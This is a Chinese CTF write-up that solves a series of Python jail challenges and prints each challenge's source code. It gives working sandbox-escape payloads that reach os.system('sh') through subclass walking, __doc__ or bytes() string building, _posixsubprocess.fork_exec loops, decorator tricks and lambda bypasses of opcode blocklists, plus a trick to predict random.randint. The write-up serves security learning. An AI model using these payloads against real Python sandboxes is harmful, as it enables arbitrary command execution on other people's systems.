pdb 模块定义了一个交互式源代码调试器,用于Python 程序。 它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python 代码。 它还支持事后调试,可以在程序控制下调用。 调试器是可扩展的——调试器实际被定义为 Pdb 类。
之后就是随便进shell了
calc_jail_beginner_level4
知识点:bytes()\decode()、__doc__
关键源码:
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
-------------------------------------------------
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
这次禁用了chr
导致字符串拼接那种形式不能使用;禁用了__import__
导致help()
、breakpoint()
两个函数不能使用
然后发现没有禁用额外的字母什么的,后面只是单纯的禁用了单引号
、双引号
、反斜杠
、反引号
这让我想回了最开始做的SSTI注入,先直接试试看看能不能获得类
有返回,而且倒数第4个是<class 'os._wrap_close'>
可以加以利用
问题是禁用了chr不好构造字符串,想到了bytes这个函数似乎有构造字符串的妙用:
print(bytes([115, 121, 115, 116, 101, 109])) # b'system'
print(bytes([115, 121, 115, 116, 101, 109]).decode()) # system
print(bytes([115, 121, 115, 116, 101, 109]).__class__) # <class 'bytes'>
print(bytes([115, 121, 115, 116, 101, 109]).decode().__class__) # <class 'str'>
现在就可以肯定了,bytes()
加上decode()
这两个函数也可以构造出字符串,上面构造的是system,这里再构造以下sh就行了
payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
实际为:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
成功获得shell
当然不止一种方法,下面介绍一下__doc__
魔术方法
像一些默认类,如:str、dict、list等,都会有相应的文档。这时可以直接从__doc__
里面去找,用索引的方式获得想要的字符,并拼接再一起,得到想要的字符串。说白了就是硬凑拼图
例如:元组的doc如下:
print(().__doc__)
'''
输出:
Built-in immutable sequence.
If no argument is given, the constructor returns an empty tuple.
If iterable is specified the tuple is initialized from iterable's items.
If the argument is a tuple, the return value is the same object.
'''
可以利用find命令来查找字符下标:
print(().__doc__.find('s'))
'''
输出:
19
'''
那么就又可以拼接了:
# system
().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]
# sh
().__doc__[19]+().__doc__[56]
payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
实际为:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
当然还有直接读取的方法,但是那些方法不确定性太强了,说白了就是纯靠猜,猜不中就寄,清高ctfer,不是shell的我不要
calc_jail_beginner_level4.0.5
这次没源码了,但是给提示了,不一样的吗??
无所谓,看哪个payload能用就用哪个便是
calc_jail_beginner_level4.1
bytes被禁用了,但是没关系,既然bytes也是个class,那么也能够通过,找类的形式找到
题目所给的bytes类再第6位:
().__class__.__base__.__subclasses__()[6]
paylolad:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
这个就是bytes了,之后再用bytes进行构造就是了,这只是一个额外知识点,平替方法太多了
也是一样,看哪个payload能用就用哪个便是
另外这个题耍了点小滑头,把flag的名字给变了,自己看看就知道了
calc_jail_beginner_level4.2
知识点:join()
这里byte也禁用了,但是还是能使用类的形式来构造bytes
所以payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
另外因为禁用了+
的原因字符串拼接的形式就用不了了,这个时候需要改变一下拼接的形式
除了直接使用+
连接字符串之外,还有一种常用的方法,如:‘join()’函数
''.join(['s', 'y', 's', 't', 'e', 'm'])
这样就能得到字符串system
然后又要绕过单引号
,这里可以使用到str()
这个函数来进行,其实str()
这个函数就是相当于一个双引号,反正就是用于包裹字符串的就是了,上面这个又可以写成下面这种形式:
str().join(['s', 'y', 's', 't', 'e', 'm'])
然后把其中的字符用__doc__
的形式代替就可以了
payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
calc_jail_beginner_level4.3
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+
上面还是又payload能继续用,分别是类的形式和__doc__
的形式:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
这里有个小坑点而已,不过也还好
calc_jail_beginner_level5
知识点:dir()
终于没有那么一堆东西了,这里说flag再dir()
里面
那么你就先看看dir里面有什么
['__builtins__', 'my_flag']
跟进去看看:
看见一个flag_level5
,继续跟进看看:
这里面有一堆的函数,发现个可用函数encode()
,尝试直接调用
这些基本就是dir()
的用法,主要利用的点是如下:
dir() 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表
这使得能查看能用的变量名和能调用的函数
当然,这个题因为没有限制的原因,能直接使用一句话RCE
__import__('os').system('sh')
因为能拿到权限,所以还是建议去看看源码有什么新牛马的
# server.py
flag = load_flag.get_flag()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
def main():
repl()
-------------------------------
# load_flag.py
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
根据逻辑还是能懂的
calc_jail_beginner_level5.1
这一题和上一题是一样的思路,但这一题不能使用最基础的RCE,懒人就照搬上面的就行了
另外其实还有别的方法,SSTI注入的方法也是可行的
payload:
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')
这里可以利用的类<class 'os._wrap_close'>
变到倒数第6个去了,随机应变即可
关键源码:
# server.py
import load_flag
BLACKLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'open','print']
exec_func = exec
compile_func = compile
print_func = print
for k in BLACKLIST:
del __builtins__.__dict__[k]
del __loader__, __builtins__
flag = load_flag.get_flag()
def main():
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile_func(input_code, '<string>', 'single')
exec_func(complie_code, my_global_dict)
-------------------------------------------------------------------
# load_flag.py
open_func = open
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open_func('flag') as f:
return flag_level5(f.read())
可以看到确实删掉了不少东西
calc_jail_beginner_level6
知识点:_posixsubprocess.fork_exec
这里给出了部分的白名单和部分源码,简单尝试了一下后发现前面的所有方法都不适用了,需要用到新方法:_posixsubprocess.fork_exec
来进行RCE。需要注意的是_posixsubprocess.fork_exec
受python版本的影响,接受的参数可能会有不同
首先要做的是把这个给类给导进去
import _posixsubprocess
这里用的import
肯定是不行的,但是能够绕过,才查看dir()
的时候发现__builtins__
还在,那么就能:
__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')
然后的话有hile TRUE
,可以输入多行代码
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
直接拿下shell,这里会才python和shell界面来回交替执行,只要一直输入自己想要的指令就肯定能成:
calc_jail_beginner_level6.1
知识点:海象运算符、列表、无限迭代器
这次的话和上次不同,只有一次执行代码的机会,这里可以运用到python3,8开始引入的一个运算符海象运算符
:
:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值
这里可以通过使用海象运算符和list的方式获得代码:
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]
发现能弹shell,但是弹出后就立马停了,这个时候就需要使用到无限迭代器itertools
了
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]
虽然说是无限,但其实在一定的次数后还是会退出进程,这里就是拼手速的时候了,建议提前复制好要输入的内容,等开始直接粘贴回车
没办法,凑合着用吧
calc_jail_beginner_level7
知识点:函数装饰器、类的定义
这个系列的最后一题,给了个窗口,先按照提示输入对应的字符看看:
G是表明了黑名单,这里不能执行import
,不能定义函数,不能使用lambda表达式
,可以的就是能执行多行代码。这个时候想到类的定义
@exec
@input
class A: pass
这里前面两个是函数装饰器:把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数
后面这个是一个类定义,这里的pass
的主要作用就是占据位置,让代码整体完整,定义一个空类会报错
尝试执行:
进入main函数主体,这个时候就可以通过使用一句话RCE来获取shell了
__import__('os').system('sh')
这个系列就结束了,个人觉得还是挺面向新手的,一步一步来吧
python2 input
这里给出了源码:
print WELCOME
print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
根据代码形式,可以知道这个是python2
的环境了
这里涉及到python2的input
函数和raw_input
函数
在python2中,input
函数从标准输入接收输入,并且自动eval
求值,返回求出来的值
在python2中,raw_input
函数从标准输入接收输入,并返回输入字符串
在python3中,input
函数从标准输入接收输入,并返回输入字符串
可以简单的认为:python2中input()
=python2中eval(raw_input())
=python3中eval(input())
根据源码,可以知道这里用了input
函数,所以可以直接使用一句话RCE:
__import__('os').system('sh')
lake lake lake
知识点:globals
给出了关键源码:
#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
--------------------------------------------
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
简单审计一下,发现输入1的话会限制长度为9位,输入2的话会让你输入语句与key
比较后再进行输入,这个就没有长度限制
这里仔细审计的话,可以知道key
是个全局变量,因此可以使用globals
这个函数来泄露所有的全局变量的值
这里就知道key的值是多少了
key=a34af94e88aed5c34fb5ccfe08cd14ab
然后无限长度的话就可以使用一句话RCE了
__import__('os').system('sh')
laKe laKe laKe
知识点:random()
给出了源码:
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
--------------------------------------------------
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
python3.8将audit hook
机制引入了sys
模块,虽然机制的引入是为了给沙箱执行提供安全保障,但单纯的audit hook
也不能做到完全的安全
在这里,是不能调用pty.spawn
、os.system
、os.exec
、os.posix_spawn
、os.spawn
、subprocess.Popen
这些可以直接RCE的函数,另外,我们不能使用compile
、eval
、exec
、open
这些函数
这里的话我们只需要输入正确的随机数就能得到flag,这里的随机数生成采用的是random.randint()
的形式来生成的
由于这里没有限制random
模块,所以可以先拿到这个模块,再利用random.getstate()
这个函数来拿到随机数生成器的状态,之后使用random.setstate()
设置随机数生成器状态为生成书技术之前的状态,最后random.randint
生成的随机数就是一样的了
这里需要使用到list的形式,把返回值放到最后一项,最后再价格[-1]
就能返回随机数了,另外这里需要令计数器为0
[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]
l@ke l@ke l@ke
知识点:__main__
给出了 源码:
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
--------------------------------------
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
这回长度限制到了6个字符,看来得用老办法help(),但发现!sh
不能进入到shell里面去,这时候就要想到另一种思路了,既然能进到模块中去,那么可以尝试直接进入__main__
中去,这时应该会返回当前模块的信息,其中包括全局变量:
可以看到有key
95c720690c2c83f0982ffba63ff87338
然后就可以像上上个题目一样了
s@Fe safeeval
知识点:lambda表达式
给出了黑名单和一些源码:
Black List:
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
some code:
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
这里是基于代码字节码的操作码来进行拦截的,普通试了一下,发现会报错,这种情况可以试一试lambda
表达式:
比如:
print((lambda: 1 * 2)())
输出:
2
我们就能以这种形式来构造payload:
(lambda: __import__('os').system('sh'))()
这时候就能getshell了
大多还是根据别人的wp加上自己的理解写成的吧,侵删🙏
然后就是老规矩了